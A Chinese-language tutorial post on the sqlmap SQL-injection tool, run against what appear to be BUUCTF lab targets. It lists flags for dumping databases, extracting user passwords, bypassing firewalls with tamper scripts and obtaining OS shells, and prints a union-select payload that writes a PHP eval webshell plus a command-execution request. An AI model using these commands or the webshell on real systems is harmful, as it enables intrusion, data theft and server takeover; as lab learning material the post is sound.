sqlmap的使用

sqlmap的使用

作用

可以自动探测和利用SQL注入漏洞来查询数据和getshell,可以脱裤(--dump-all),可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令

工作流程

1)判断URL是否可连接------检查防火墙------判断注入点------判断是什么数据库

2)尝试各种类型的注入

各种参数

1、-u

用于一个url扫描

sqlmap -u "url带参数"

2、-m

用于多个url扫描,但是文件每一行只能有一个url

sqlmap -m 1. txt

3、-r

用于post注入,在要测试注入的参数后面加*

sqlmap -r 1.txt

直接写,工具会自动识别

4、-v

用于显示信息,默认为1,一般用3和4,都要背

0、只显示python错误以及严重的信息。

1、 同时显示基本信息和警告信息。(默认等级)

2、 同时显示debug信息。

3、 同时显示注入的payload。

4、 同时显示HTTP请求。

5、 同时显示HTTP响应头。

6、 同时显示HTTP响应页面。

5、--level

用于测请求头,但不想抓包,如果抓包可以直接加*的

sqlmap -r 1.txt --level=3

level>=2的时候就会测试HTTP Cookie

level>=3的时候就会测试HTTP User-Agent/Referer头

level=5的时候会测试HTTP Host

6、--data

用于把data后面的数据以POST方式提交,当参数是POST提交的时候,但没有抓取数据包

sqlmap -u "url" --data="id=1"

7、--cookie

当web需要登录的时候,需要我们抓包获取cookie参数,然后复制出来,加到--cookie参数中。

基本格式:
sqlmap -u "url" --data="id=1" --cookie="Cookie: xxx;"

8、--user-agent

用于手动指定伪造一个User-Agent

sqlmap -u "url" --level 3 --user-agent="xxx"

9、--random-agent

用于随机生成UA,不过运行一次命令只能生成同一个UA

sqlmap -u "url" --level 3 --random-agent

10、--referer

用于手动指定伪造一个referer

sqlmap -u "url/?id=1" --referer="http://www.baidu.com"

11、-p

用于测试指定参数,和*,--level一样

sqlmap -u "url/?id=1" -p "id,user-angent"

12、--risk

共有三个风险等级,1-3:

默认是1会测试大部分的测试语句,

2会增加基于时间的测试语句,

3会增加OR语句的SQL注入测试。

注意:在有些时候,例如在UPDATE, DELETE的语句中,注入一个OR的测试语句, 可能导致更新的整个表,可能造成很大的风险。

sqlmap -u "url/?id=1" --risk=2

13、数据

-D 数据库名

-T 表名

-C 字段名

python sqlmap.py -u url -D ctftraining -T flag -C flag --dump

14、查询当前用户和密码

复制代码
python sqlmap.py -u http://14ed637c-5c7f-4bdb-a149-f65ece908a61.node5.buuoj.cn/Less-1/?id=1   --users --passwords   


15、--os-cmd

用于执行系统命令,在退出命令行之后,系统会自动删掉写入的脚本,但是每运行一次都要去重新执行一次--os-cmd,所以getshell我们选择用--os-shell

python sqlmap.py -u http://b7cab4c1-88b5-4119-8cf5-eb5fd92b549a.node5.buuoj.cn/Less-1/?id=1 --os-cmd=ipconfig

执行结果:

该命令的原理就是写入木马,然后getshell

py 复制代码
id=1' union select '<?php  eval($_POST[1]);?>' into outfile '网站路径/文件名'

路径就是类似于下面这种,自己去猜

写入之后,再用蚁剑连接,密码是1,然后也可以在命令行执行命令

16、--os-shell

反弹交互shell

py 复制代码
python sqlmap.py -u http://14ed637c-5c7f-4bdb-a149-f65ece908a61.node5.buuoj.cn/Less-5/?id=1     --os-shell  


当页面出现os-shell时,就是已经连接成功了

17、--tamper

用于绕过防火墙

py 复制代码
python sqlmap.py -u http://14ed637c-5c7f-4bdb-a149-f65ece908a61.node5.buuoj.cn/Less-5/?id=1  --tamper  加需要的脚本名字

一句话木马

php 复制代码
<?php  eval($_POST["a"]);?>

eval是用于将字符串当成php代码执行

可在url上输入命令,来运行

php 复制代码
?a=echo `ipconfig`;
相关推荐
做运维的阿瑞8 小时前
数据库增删改的安全写法
数据库·sql·mysql
lie..9 小时前
30天从零开始学AI应用开发(Day 12):像产品一样稳:流式输出、报错重试、花钱控制
开发语言·人工智能·php
小马哥程序开发10 小时前
[点赞收藏免费领取 · 项目源码]37399民族服饰饰品商城小程序
sql·mysql·flask·源码·课程设计·程序开发·课设
郑州光合科技余经理10 小时前
同城电商系统:库存变更怎么同步到订单
java·开发语言·前端·后端·uni-app·php·ai编程
狗凯之家源码网13 小时前
PHP 开源 IM 即时通讯系统效果实测与功能展示
开发语言·开源·php
煎饼皮皮侠14 小时前
设计一个Web版数据库管理平台(之六):SQL执行监听器 —— 日志、监控与审计
sql·数据库平台
恣睢s14 小时前
BugKu——shell
网络安全
小宋102115 小时前
MCP 工具也有供应链风险:注册中心、签名校验、版本锁定与白名单
开发语言·网络·人工智能·php
bksczm16 小时前
MySQL进阶篇之范式及E-R图
数据库·sql·mysql
步行cgn17 小时前
Spring 负责注入的注解详解
java·sql·spring